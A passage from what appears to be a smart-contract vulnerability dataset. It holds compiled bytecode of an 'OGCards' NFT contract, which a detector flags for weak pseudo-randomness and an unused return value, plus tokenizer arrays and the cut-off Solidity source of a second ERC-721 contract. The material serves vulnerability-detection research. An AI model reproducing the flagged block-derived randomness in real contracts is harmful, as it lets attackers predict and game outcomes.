0506001600160a01b0382166000908152600360205260408120805460019290611fe2908490613df0565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b61087a83838360006120a2565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60006120ad60085490565b905060006120be82620186a06125fd565b905060006120cd8360656125fd565b90506000846121195760328210612112576050821061210b57605e821061210457606382106120fd57600561211c565b600461211c565b600361211c565b600261211c565b600161211c565b60005b9050600061212b8560066125fd565b9050600061213a826064613fae565b6000878152601560205260409020805461ffff191689151561ff0019161761010060ff878116919091029190911763ffff00001916620100008483160263ff0000001916176301000000918d16919091021781556001810187905560020189905590506121a78a87612669565b7f933dd6520950154fa0245459d072d2501dcd9333a4335280df706e8aae7a41bb866040516121d69190613d7e565b60405180910390a150505050505050505050565b6121f5848484611f16565b61220184848484612683565b6117445760405162461bcd60e51b81526004016106fa90613bad565b60408051602880825260608281019093526000919060208201818036833701905050905060005b601481101561237957600061225a826013613fae565b612265906008613f6a565b612270906002613e9a565b612283906001600160a01b038716613e29565b60f81b9050600060108260f81c61229a9190613e41565b60f81b905060008160f81c60106122b19190613f89565b8360f81c6122bf9190613fc9565b60f81b90506122cd82612790565b856122d9866002613f6a565b815181106122f757634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535061231781612790565b85612323866002613f6a565b61232e906001613df0565b8151811061234c57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535050505080806123719061408d565b915050612244565b5060008160405160200161238d9190613a5a565b6040516020818303038152906040529050611f0e60006008836127cb565b600060016123b884610e3a565b6123c29190613fae565b600083815260076020526040902054909150808214612415576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061245a90600190613fae565b6000838152600960205260408120546008805493945090928490811061249057634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080600883815481106124bf57634e487b7160e01b600052603260045260246000fd5b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061250557634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061252c83610e3a565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b612570838383611cde565b60008181526016602090815260408083206001600160a01b038616845290915290205460ff1661087a5760008181526015602090815260408083206003018054600180820183559185528385200180546001600160a01b0319166001600160a01b039790971696871790559383526016825280832094835293905291909120805460ff1916909117905550565b6000808261260c600143613fae565b40423360105488604051602001612627959493929190613a01565b6040516020818303038152906040528051906020012060001c61264a91906140ba565b60108054919250600061265c8361408d565b9091555090949350505050565b610ad68282604051806020016040528060008152506128d0565b60006001600160a01b0384163b1561278557604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906126c7903390899088908890600401613a7f565b602060405180830381600087803b1580156126e157600080fd5b505af1925050508015612711575060408051601f3d908101601f1916820190925261270e91810190612f4f565b60015b61276b573d80801561273f576040519150601f19603f3d011682016040523d82523d6000602084013e612744565b606091505b5080516127635760405162461bcd60e51b81526004016106fa90613bad565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611f0e565b506001949350505050565b6000600a60f883901c10156127b7576127ae60f883901c6030613e08565b60f81b92915050565b6127ae60f883901c6057613e08565b919050565b606060006127d98585613fae565b6001600160401b038111156127fe57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612828576020820181803683370190505b50905060005b600161283a8787613fae565b6128449190613fae565b81116128c757836128558783613df0565b8151811061287357634e487b7160e01b600052603260045260246000fd5b602001015160f81c60f81b82828151811061289e57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350806128bf8161408d565b91505061282e565b50949350505050565b6128da8383612903565b6128e76000848484612683565b61087a5760405162461bcd60e51b81526004016106fa90613bad565b6001600160a01b0382166129295760405162461bcd60e51b81526004016106fa90613c7d565b61293281611de6565b1561294f5760405162461bcd60e51b81526004016106fa90613bdd565b61295b60008383612565565b6001600160a01b0382166000908152600360205260408120805460019290612984908490613df0565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b5080546129ee9061403a565b6000825580601f106129fe575050565b601f016020900490600052602060002090810190610c559190612aa0565b828054612a289061403a565b90600052602060002090601f016020900481019282612a4a5760008555612a90565b82601f10612a6357805160ff1916838001178555612a90565b82800160010185558215612a90579182015b82811115612a90578251825591602001919060010190612a75565b50612a9c929150612aa0565b5090565b5b80821115612a9c5760008155600101612aa1565b6000612ac8612ac384613da3565b613d8c565b90508083825260208201905082856020860282011115612ae757600080fd5b60005b85811015612b135781612afd8882612bf1565b8452506020928301929190910190600101612aea565b5050509392505050565b6000612b2b612ac384613da3565b90508083825260208201905082856020860282011115612b4a57600080fd5b60005b85811015612b135781356001600160401b03811115612b6b57600080fd5b808601612b788982612c6a565b855250506020928301929190910190600101612b4d565b6000612b9d612ac384613dc6565b905082815260208101848484011115612bb557600080fd5b610eda848285613feb565b6000612bce612ac384613dc6565b905082815260208101848484011115612be657600080fd5b610eda848285613ff7565b80356106ca81614126565b80516106ca81614126565b600082601f830112612c1857600080fd5b8135611f0e848260208601612ab5565b600082601f830112612c3957600080fd5b8135611f0e848260208601612b1d565b80356106ca8161413a565b80356106ca81614142565b80516106ca81614142565b600082601f830112612c7b57600080fd5b8135611f0e848260208601612b8f565b600082601f830112612c9c57600080fd5b8151611f0e848260208601612bc0565b80356106ca81614152565b80356106ca81614158565b600060208284031215612cd457600080fd5b6000611f0e8484612bf1565b600060208284031215612cf257600080fd5b6000611f0e8484612bfc565b60008060408385031215612d1157600080fd5b6000612d1d8585612bf1565b9250506020612d2e85828601612bf1565b9150509250929050565b600080600060608486031215612d4d57600080fd5b6000612d598686612bf1565b9350506020612d6a86828701612bf1565b9250506040612d7b86828701612cac565b9150509250925092565b60008060008060808587031215612d9b57600080fd5b6000612da78787612bf1565b9450506020612db887828801612bf1565b9350506040612dc987828801612cac565b92505060608501356001600160401b03811115612de557600080fd5b612df187828801612c6a565b91505092959194509250565b60008060408385031215612e1057600080fd5b6000612e1c8585612bf1565b9250506020612d2e85828601612c49565b60008060408385031215612e4057600080fd5b6000612e4c8585612bf1565b92505060208301356001600160401b03811115612e6857600080fd5b612d2e85828601612c6a565b60008060408385031215612e8757600080fd5b6000612e938585612bf1565b9250506020612d2e85828601612cac565b60008060408385031215612eb757600080fd5b6000612ec38585612bf1565b9250506020612d2e85828601612cb7565b60008060408385031215612ee757600080fd5b82356001600160401b03811115612efd57600080fd5b612f0985828601612c07565b92505060208301356001600160401b03811115612f2557600080fd5b612d2e85828601612c28565b600060208284031215612f4357600080fd5b6000611f0e8484612c54565b600060208284031215612f6157600080fd5b6000611f0e8484612c5f565b600060208284031215612f7f57600080fd5b81516001600160401b03811115612f9557600080fd5b611f0e84828501612c8b565b600060208284031215612fb357600080fd5b6000611f0e8484612cac565b6000612fcb8383612feb565b505060200190565b6000611a7f8383613144565b6000612fcb838361313e565b612ff481613fda565b82525050565b612ff461300682613fda565b6140a8565b6000613015825190565b80845260209384019383018060005b838110156130495781516130388882612fbf565b975060208301925050600101613024565b509495945050505050565b600061305e825190565b80845260209384019383018060005b838110156130495781516130818882612fbf565b97506020830192505060010161306d565b600061309c825190565b808452602084019350836020820285016130b68560200190565b8060005b858110156130eb57848403895281516130d38582612fd3565b94506020830160209a909a01999250506001016130ba565b5091979650505050505050565b6000613102825190565b80845260209384019383018060005b838110156130495781516131258882612fdf565b975060208301925050600101613111565b801515612ff4565b80612ff4565b600061314e825190565b808452602084019350613165818560208601613ff7565b601f01601f19169290920192915050565b6000613180825190565b61318e818560208601613ff7565b9290920192915050565b603281526000602082017f4f4743617264733a207468697320507572726e656c6f70657320616c726561648152711e4818db185a5b5959081a1a5cc818d85c9960721b602082015291505b5060400190565b602b81526000602082017f455243373231456e756d657261626c653a206f776e657220696e646578206f7581526a74206f6620626f756e647360a81b602082015291506131e3565b603281526000602082017f4552433732313a207472616e7366657220746f206e6f6e20455243373231526581527131b2b4bb32b91034b6b83632b6b2b73a32b960711b602082015291506131e3565b602681526000602082017f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206181526564647265737360d01b602082015291506131e3565b602881526000602082017f4f4743617264733a206e6f206d6f7265206361726473206f66207468697320748152671e5c19481b19599d60c21b602082015291506131e3565b601c81526000602082017f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000815291505b5060200190565b602a81526000602082017f4f4743617264733a20746869732041434220616c726561647920636c61696d6581526919081a1a5cc818d85c9960b21b602082015291506131e3565b602481526000602082017f4552433732313a207472616e7366657220746f20746865207a65726f206164648152637265737360e01b602082015291506131e3565b601981526000602082017f4552433732313a20617070726f766520746f2063616c6c65720000000000000081529150613339565b602c81526000602082017f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657881526b34b9ba32b73a103a37b5b2b760a11b602082015291506131e3565b603881526000602082017f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7781527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015291506131e3565b602a81526000602082017f4552433732313a2062616c616e636520717565727920666f7220746865207a65815269726f206164647265737360b01b602082015291506131e3565b602981526000602082017f4552433732313a206f776e657220717565727920666f72206e6f6e657869737481526832b73a103a37b5b2b760b91b602082015291506131e3565b602b81526000602082017f4f4743617264733a20596f75206d75737420646566696e652061206e616d652081526a666f722074686973204f4760a81b602082015291506131e3565b602b81526000602082017f4f4743617264733a20746869732070756e6b20616c726561647920636c61696d81526a1959081a1a5cc818d85c9960aa1b602082015291506131e3565b60208082527f4552433732313a206d696e7420746f20746865207a65726f206164647265737391019081526000613339565b602c81526000602082017f4552433732313a20617070726f76656420717565727920666f72206e6f6e657881526b34b9ba32b73a103a37b5b2b760a11b602082015291506131e3565b60208082527f4f4743617264733a20636c61696d206973206e6f74206f70656e65642079657491019081526000613339565b602181526000602082017f4f4743617264733a205468697320746f6b656e20646f65736e277420657869738152601d60fa1b602082015291506131e3565b601881526000602082017f4f4743617264733a20496e76616c69642061646472657373000000000000000081529150613339565b60208082527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657291019081526000613339565b602981526000602082017f4552433732313a207472616e73666572206f6620746f6b656e2074686174206981526839903737ba1037bbb760b91b602082015291506131e3565b602881526000602082017f4f4743617264733a20796f7520616c726561647920636c61696d656420612062815267185cd94818d85c9960c21b602082015291506131e3565b602181526000602082017f4552433732313a20617070726f76616c20746f2063757272656e74206f776e658152603960f91b602082015291506131e3565b601d81526000602082017f4f4743617264733a20496e76616c6964206172726179206c656e67746800000081529150613339565b603181526000602082017f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f8152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b602082015291506131e3565b602a81526000602082017f4f4743617264733a20796f7520617265206e6f7420746865206f776e6572206f81526933103a3434b99020a1a160b11b602082015291506131e3565b602c81526000602082017f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f81526b7574206f6620626f756e647360a01b602082015291506131e3565b601e81526000602082017f4f4743617264733a2054686973204f4720646f65736e2774206578697374000081529150613339565b602b81526000602082017f4f4743617264733a20796f7520617265206e6f7420746865206f776e6572206f81526a6620746869732070756e6b60a81b602082015291506131e3565b805160009060e08401906139788582613136565b50602083015161398b60208601826139f8565b50604083015161399e60408601826139f8565b5060608301516139b160608601826139f8565b5060808301516139c4608086018261313e565b5060a08301516139d760a086018261313e565b5060c083015184820360c08601526139ef828261300b565b95945050505050565b60ff8116612ff4565b6000613a0d828861313e565b602082019150613a1d828761313e565b602082019150613a2d8286612ffa565b601482019150613a3d828561313e565b602082019150613a4d828461313e565b5060200195945050505050565b61060f60f31b81526002016000611a7f8284613176565b602081016106ca8284612feb565b60808101613a8d8287612feb565b613a9a6020830186612feb565b613aa7604083018561313e565b8181036060830152613ab98184613144565b9695505050505050565b60408101613ad18285612feb565b611a7f602083018461313e565b60408082528101613aef8185613054565b90508181036020830152611f0e8184613092565b60208082528101611a7f81846130f8565b602081016106ca8284613136565b60c08101613b308289613136565b613b3d60208301886139f8565b613b4a60408301876139f8565b613b5760608301866139f8565b613b64608083018561313e565b613b7160a083018461313e565b979650505050505050565b60208082528101611a7f8184613144565b602080825281016106ca81613198565b602080825281016106ca816131ea565b602080825281016106ca81613232565b602080825281016106ca81613281565b602080825281016106ca816132c4565b602080825281016106ca81613309565b602080825281016106ca81613340565b602080825281016106ca81613387565b602080825281016106ca816133c8565b602080825281016106ca816133fc565b602080825281016106ca81613445565b602080825281016106ca8161349f565b602080825281016106ca816134e6565b602080825281016106ca8161352c565b602080825281016106ca81613574565b602080825281016106ca816135bc565b602080825281016106ca816135ee565b602080825281016106ca81613637565b602080825281016106ca81613669565b602080825281016106ca816136a7565b602080825281016106ca816136db565b602080825281016106ca8161370d565b602080825281016106ca81613753565b602080825281016106ca81613798565b602080825281016106ca816137d6565b602080825281016106ca8161380a565b602080825281016106ca81613858565b602080825281016106ca8161389f565b602080825281016106ca816138e8565b602080825281016106ca8161391c565b60208082528101611a7f8184613964565b602081016106ca828461313e565b6000613d9760405190565b90506127c68282614061565b60006001600160401b03821115613dbc57613dbc614110565b5060209081020190565b60006001600160401b03821115613ddf57613ddf614110565b601f19601f83011660200192915050565b60008219821115613e0357613e036140ce565b500190565b600060ff8216915060ff831692508260ff03821115613e0357613e036140ce565b6000825b925082613e3c57613e3c6140e4565b500490565b600060ff8216915060ff8316613e2d565b80825b6001851115613e9157808604811115613e7057613e706140ce565b6001851615613e7e57908102905b8002613e8a8560011c90565b9450613e55565b94509492505050565b6000611a7f6000198484600082613eb357506001611a7f565b81613ec057506000611a7f565b8160018114613ed65760028114613ee057613f0d565b6001915050611a7f565b60ff841115613ef157613ef16140ce565b8360020a915084821115613f0757613f076140ce565b50611a7f565b5060208310610133831016604e8410600b8410161715613f40575081810a83811115613f3b57613f3b6140ce565b611a7f565b613f4d8484846001613e52565b92509050818404811115613f6357613f636140ce565b0292915050565b6000816000190483118215151615613f8457613f846140ce565b500290565b600060ff8216915060ff831692508160ff0483118215151615613f8457613f846140ce565b6000825b925082821015613fc457613fc46140ce565b500390565b600060ff8216915060ff8316613fb2565b60006001600160a01b0382166106ca565b82818337506000910152565b60005b83811015614012578181015183820152602001613ffa565b838111156117445750506000910152565b600081614032576140326140ce565b506000190190565b60028104600182168061404e57607f821691505b60208210811415610f8857610f886140fa565b601f19601f83011681018181106001600160401b038211171561408657614086614110565b6040525050565b60006000198214156140a1576140a16140ce565b5060010190565b60006106ca8260006106ca8260601b90565b6000826140c9576140c96140e4565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b61412f81613fda565b8114610c5557600080fd5b80151561412f565b6001600160e01b0319811661412f565b8061412f565b60ff811661412f56fea2646970667358221220c896a43333befedcc3a3466195cd590f5810f1a219a4d1a261751298d161d54e64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 11057, 2546, 29345, 2620, 2683, 17134, 2278, 2509, 6679, 12521, 27009, 2487, 2546, 2575, 5243, 2581, 2581, 16576, 2278, 2683, 2050, 2692, 14141, 2581, 2549, 2546, 2549, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1018, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,374
0x96ac10a4df4412a296f1a4687bed67607b81303d
/** *Submitted for verification at Etherscan.io on 2021-10-25 */ /** *Submitted for verification at Etherscan.io on 2021-10-25 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.6; /** * @dev The contract has an owner address, and provides basic authorization control whitch * simplifies the implementation of user permissions. This contract is based on the source code at: * https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol */ contract Ownable { mapping (address => bool) public isAuth; address tokenLinkAddress; /** * @dev Error constants. */ string public constant NOT_CURRENT_OWNER = "018001"; string public constant CANNOT_TRANSFER_TO_ZERO_ADDRESS = "018002"; /** * @dev Current owner address. */ address public owner; /** * @dev An event which is triggered when the owner is changed. * @param previousOwner The address of the previous owner. * @param newOwner The address of the new owner. */ event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The constructor sets the original `owner` of the contract to the sender account. */ constructor() { owner = msg.sender; isAuth[owner] = true; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, NOT_CURRENT_OWNER); _; } modifier onlyAuthorized() { require(isAuth[msg.sender] || msg.sender == owner, "Unauth"); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership( address _newOwner ) public onlyOwner { require(_newOwner != address(0), CANNOT_TRANSFER_TO_ZERO_ADDRESS); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/tokens/erc721-metadata.sol pragma solidity 0.8.6; /** * @dev Optional metadata extension for ERC-721 non-fungible token standard. * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md. */ interface ERC721Metadata { /** * @dev Returns a descriptive name for a collection of NFTs in this contract. * @return _name Representing name. */ function name() external view returns (string memory _name); /** * @dev Returns a abbreviated name for a collection of NFTs in this contract. * @return _symbol Representing symbol. */ function symbol() external view returns (string memory _symbol); /** * @dev Returns a distinct Uniform Resource Identifier (URI) for a given asset. It Throws if * `_tokenId` is not a valid NFT. URIs are defined in RFC3986. The URI may point to a JSON file * that conforms to the "ERC721 Metadata JSON Schema". * @return URI of _tokenId. */ function tokenURI(uint256 _tokenId) external view returns (string memory); } // File: contracts/utils/address-utils.sol pragma solidity 0.8.6; /** * @notice Based on: * https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol * Requires EIP-1052. * @dev Utility library of inline functions on addresses. */ library AddressUtils { /** * @dev Returns whether the target address is a contract. * @param _addr Address to check. * @return addressCheck True if _addr is a contract, false if not. */ function isContract( address _addr ) internal view returns (bool addressCheck) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(_addr) } // solhint-disable-line addressCheck = (codehash != 0x0 && codehash != accountHash); } } // File: contracts/utils/erc165.sol pragma solidity 0.8.6; /** * @dev A standard for detecting smart contract interfaces. * See: https://eips.ethereum.org/EIPS/eip-165. */ interface ERC165 { /** * @dev Checks if the smart contract includes a specific interface. * This function uses less than 30,000 gas. * @param _interfaceID The interface identifier, as specified in ERC-165. * @return True if _interfaceID is supported, false otherwise. */ function supportsInterface( bytes4 _interfaceID ) external view returns (bool); } // File: contracts/utils/supports-interface.sol pragma solidity 0.8.6; /** * @dev Implementation of standard for detect smart contract interfaces. */ contract SupportsInterface is ERC165 { /** * @dev Mapping of supported intefraces. You must not set element 0xffffffff to true. */ mapping(bytes4 => bool) internal supportedInterfaces; /** * @dev Contract constructor. */ constructor() { supportedInterfaces[0x01ffc9a7] = true; // ERC165 } /** * @dev Function to check which interfaces are suported by this contract. * @param _interfaceID Id of the interface. * @return True if _interfaceID is supported, false otherwise. */ function supportsInterface( bytes4 _interfaceID ) external override view returns (bool) { return supportedInterfaces[_interfaceID]; } } // File: contracts/tokens/erc721-token-receiver.sol pragma solidity 0.8.6; /** * @dev ERC-721 interface for accepting safe transfers. * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md. */ interface ERC721TokenReceiver { /** * @notice The contract address is always the message sender. A wallet/broker/auction application * MUST implement the wallet interface if it will accept safe transfers. * @dev Handle the receipt of a NFT. The ERC721 smart contract calls this function on the * recipient after a `transfer`. This function MAY throw to revert and reject the transfer. Return * of other than the magic value MUST result in the transaction being reverted. * Returns `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` unless throwing. * @param _operator The address which called `safeTransferFrom` function. * @param _from The address which previously owned the token. * @param _tokenId The NFT identifier which is being transferred. * @param _data Additional data with no specified format. * @return Returns `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`. */ function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes calldata _data ) external returns(bytes4); } // File: contracts/tokens/erc721.sol pragma solidity 0.8.6; /** * @dev ERC-721 non-fungible token standard. * See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md. */ interface ERC721 { /** * @dev Emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are * created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any * number of NFTs may be created and assigned without emitting Transfer. At the time of any * transfer, the approved address for that NFT (if any) is reset to none. */ event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); /** * @dev This emits when the approved address for an NFT is changed or reaffirmed. The zero * address indicates there is no approved address. When a Transfer event emits, this also * indicates that the approved address for that NFT (if any) is reset to none. */ event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); /** * @dev This emits when an operator is enabled or disabled for an owner. The operator can manage * all NFTs of the owner. */ event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); /** * @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the * approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is * the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this * function checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. * @dev Transfers the ownership of an NFT from one address to another address. This function can * be changed to payable. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. * @param _data Additional data with no specified format, sent in call to `_to`. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes calldata _data ) external; /** * @notice This works identically to the other function with an extra data parameter, except this * function just sets data to "" * @dev Transfers the ownership of an NFT from one address to another address. This function can * be changed to payable. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external; /** * @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else * they may be permanently lost. * @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved * address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero * address. Throws if `_tokenId` is not a valid NFT. This function can be changed to payable. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function transferFrom( address _from, address _to, uint256 _tokenId ) external; /** * @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is * the current NFT owner, or an authorized operator of the current owner. * @param _approved The new approved NFT controller. * @dev Set or reaffirm the approved address for an NFT. This function can be changed to payable. * @param _tokenId The NFT to approve. */ function approve( address _approved, uint256 _tokenId ) external; /** * @notice The contract MUST allow multiple operators per owner. * @dev Enables or disables approval for a third party ("operator") to manage all of * `msg.sender`'s assets. It also emits the ApprovalForAll event. * @param _operator Address to add to the set of authorized operators. * @param _approved True if the operators is approved, false to revoke approval. */ function setApprovalForAll( address _operator, bool _approved ) external; /** * @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are * considered invalid, and this function throws for queries about the zero address. * @notice Count all NFTs assigned to an owner. * @param _owner Address for whom to query the balance. * @return Balance of _owner. */ function balanceOf( address _owner ) external view returns (uint256); /** * @notice Find the owner of an NFT. * @dev Returns the address of the owner of the NFT. NFTs assigned to the zero address are * considered invalid, and queries about them do throw. * @param _tokenId The identifier for an NFT. * @return Address of _tokenId owner. */ function ownerOf( uint256 _tokenId ) external view returns (address); /** * @notice Throws if `_tokenId` is not a valid NFT. * @dev Get the approved address for a single NFT. * @param _tokenId The NFT to find the approved address for. * @return Address that _tokenId is approved for. */ function getApproved( uint256 _tokenId ) external view returns (address); /** * @notice Query if an address is an authorized operator for another address. * @dev Returns true if `_operator` is an approved operator for `_owner`, false otherwise. * @param _owner The address that owns the NFTs. * @param _operator The address that acts on behalf of the owner. * @return True if approved for all, false otherwise. */ function isApprovedForAll( address _owner, address _operator ) external view returns (bool); } // File: contracts/tokens/nf-token.sol pragma solidity 0.8.6; /** * @dev Implementation of ERC-721 non-fungible token standard. */ contract NFToken is ERC721, SupportsInterface { using AddressUtils for address; /** * @dev List of revert message codes. Implementing dApp should handle showing the correct message. * Based on 0xcert framework error codes. */ string constant ZERO_ADDRESS = "003001"; string constant NOT_VALID_NFT = "003002"; string constant NOT_OWNER_OR_OPERATOR = "003003"; string constant NOT_OWNER_APPROVED_OR_OPERATOR = "003004"; string constant NOT_ABLE_TO_RECEIVE_NFT = "003005"; string constant NFT_ALREADY_EXISTS = "003006"; string constant NOT_OWNER = "003007"; string constant IS_OWNER = "003008"; /** * @dev Magic value of a smart contract that can receive NFT. * Equal to: bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")). */ bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02; /** * @dev A mapping from NFT ID to the address that owns it. */ mapping (uint256 => address) internal idToOwner; /** * @dev Mapping from NFT ID to approved address. */ mapping (uint256 => address) internal idToApproval; /** * @dev Mapping from owner address to count of their tokens. */ mapping (address => uint256) private ownerToNFTokenCount; /** * @dev Mapping from owner address to mapping of operator addresses. */ mapping (address => mapping (address => bool)) internal ownerToOperators; /** * @dev Guarantees that the msg.sender is an owner or operator of the given NFT. * @param _tokenId ID of the NFT to validate. */ modifier canOperate( uint256 _tokenId ) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender], NOT_OWNER_OR_OPERATOR ); _; } /** * @dev Guarantees that the msg.sender is allowed to transfer NFT. * @param _tokenId ID of the NFT to transfer. */ modifier canTransfer( uint256 _tokenId ) { address tokenOwner = idToOwner[_tokenId]; require( tokenOwner == msg.sender || idToApproval[_tokenId] == msg.sender || ownerToOperators[tokenOwner][msg.sender], NOT_OWNER_APPROVED_OR_OPERATOR ); _; } /** * @dev Guarantees that _tokenId is a valid Token. * @param _tokenId ID of the NFT to validate. */ modifier validNFToken( uint256 _tokenId ) { require(idToOwner[_tokenId] != address(0), NOT_VALID_NFT); _; } /** * @dev Contract constructor. */ constructor() { supportedInterfaces[0x80ac58cd] = true; // ERC721 } /** * @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the * approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is * the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this * function checks if `_to` is a smart contract (code size > 0). If so, it calls * `onERC721Received` on `_to` and throws if the return value is not * `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`. * @dev Transfers the ownership of an NFT from one address to another address. This function can * be changed to payable. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. * @param _data Additional data with no specified format, sent in call to `_to`. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes calldata _data ) external override { _safeTransferFrom(_from, _to, _tokenId, _data); } /** * @notice This works identically to the other function with an extra data parameter, except this * function just sets data to "". * @dev Transfers the ownership of an NFT from one address to another address. This function can * be changed to payable. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) external override { _safeTransferFrom(_from, _to, _tokenId, ""); } /** * @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else * they may be permanently lost. * @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved * address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero * address. Throws if `_tokenId` is not a valid NFT. This function can be changed 